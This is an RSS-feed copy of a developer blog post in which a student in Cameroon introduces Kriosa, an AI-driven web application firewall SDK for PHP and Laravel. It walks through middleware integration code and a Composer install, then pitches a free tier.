&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Kriosa&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Illuminate\Http\Request&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;KriosaSecurity&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Request&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Closure&lt;/span&gt; &lt;span class="nv"&gt;$next&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$apiKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'kriosa.api_key'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// Skip if no API key configured&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$apiKey&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nv"&gt;$kriosa&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Kriosa&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$apiKey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
                &lt;span class="s1"&gt;'timeout'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'kriosa.timeout'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
                &lt;span class="s1"&gt;'debug'&lt;/span&gt;   &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'kriosa.debug'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
            &lt;span class="p"&gt;]);&lt;/span&gt;

            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$kriosa&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;protect&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Access denied'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;\Exception&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="c1"&gt;// Fail open — don't block users if Kriosa is unreachable&lt;/span&gt;
            &lt;span class="nf"&gt;report&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;//Step 5 — Register the Middleware&lt;/span&gt;
&lt;span class="c1"&gt;// app/Http/Kernel.php&lt;/span&gt;

&lt;span class="k"&gt;protected&lt;/span&gt; &lt;span class="nv"&gt;$middleware&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="c1"&gt;// ... existing middleware&lt;/span&gt;
    &lt;span class="nc"&gt;\App\Http\Middleware\KriosaSecurity&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="c1"&gt;// OR apply to specific routes only:&lt;/span&gt;

&lt;span class="c1"&gt;// routes/web.php&lt;/span&gt;
&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'kriosa'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/dashboard'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;DashboardController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'index'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then add the middleware to your app/Http/Middleware/KriosaMiddleware.php:&lt;/p&gt;

&lt;p&gt;For PHP&lt;/p&gt;

&lt;p&gt;Or Download and use the SDK&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;//Step 1 — Install via Composer
composer require kriosa-ai/kriosa-php

//or download kriosa.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="c1"&gt;// Add this to your index.php or front controller&lt;/span&gt;
&lt;span class="k"&gt;require_once&lt;/span&gt; &lt;span class="k"&gt;__DIR__&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;'/kriosa.php'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// for downloaded &lt;/span&gt;
&lt;span class="k"&gt;require_once&lt;/span&gt; &lt;span class="s1"&gt;'vendor/autoload.php'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// for composer install&lt;/span&gt;

&lt;span class="c1"&gt;//KTIOSA_API_KEY FROM YOUR .ENV FILE&lt;/span&gt;

&lt;span class="nv"&gt;$apiKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'KRIOSA_API_KEY'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?:&lt;/span&gt; &lt;span class="s1"&gt;'YOUR_API_KEY_HERE'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$kriosa&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Kriosa&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$apiKey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s1"&gt;'timeout'&lt;/span&gt;     &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'debug'&lt;/span&gt;       &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'fail_closed'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'show_badge'&lt;/span&gt;  &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;]);&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$kriosa&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;protect&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'X-Kriosa-Blocked: true'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Access Denied'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;error_log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Kriosa Security Error: '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Your application continues safely here...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That’s it. Your app is now protected by an AI layer that watches every incoming request.&lt;/p&gt;

&lt;p&gt;Why I built this&lt;/p&gt;

&lt;p&gt;I am a final-year computer science student at the University of Bamenda, Cameroon. I watched developers around me get their client sites hacked with no affordable way to understand what happened or prevent it from happening again. Enterprise WAFs like Cloudflare cost hundreds of dollars a month. Sucuri is built for a completely different context. Nothing existed for the PHP developer in Africa building real products for real clients on a real budget.&lt;/p&gt;

&lt;p&gt;So I built it myself a hybrid ML engine, a 25+ attack, and an XAI dashboard that makes security understandable, not just automated.&lt;/p&gt;

&lt;p&gt;It is free to start.&lt;/p&gt;

&lt;p&gt;The Starter tier is free. No credit card. No enterprise contract. Just install the SDK, connect your app, and open the dashboard.&lt;/p&gt;

&lt;p&gt;If you build PHP or Laravel apps and you have ever had a client site get hacked — or you are terrified of it happening — Kriosa is built specifically for you.&lt;/p&gt;

&lt;p&gt;Try it today: kriosa.com&lt;br&gt;
Install it: composer require kriosa-ai/kriosa-php&lt;br&gt;
Full docs: kriosa.com/documentation.php&lt;/p&gt;

&lt;p&gt;Built by a developer from Cameroon, for developers across Africa and beyond. If you have questions, drop them in the comments — I read everything.&lt;/p&gt;

</description>
      <category>technology</category>
      <category>programming</category>
      <category>laravel</category>
      <category>php</category>
    </item>
  </channel>
</rss>
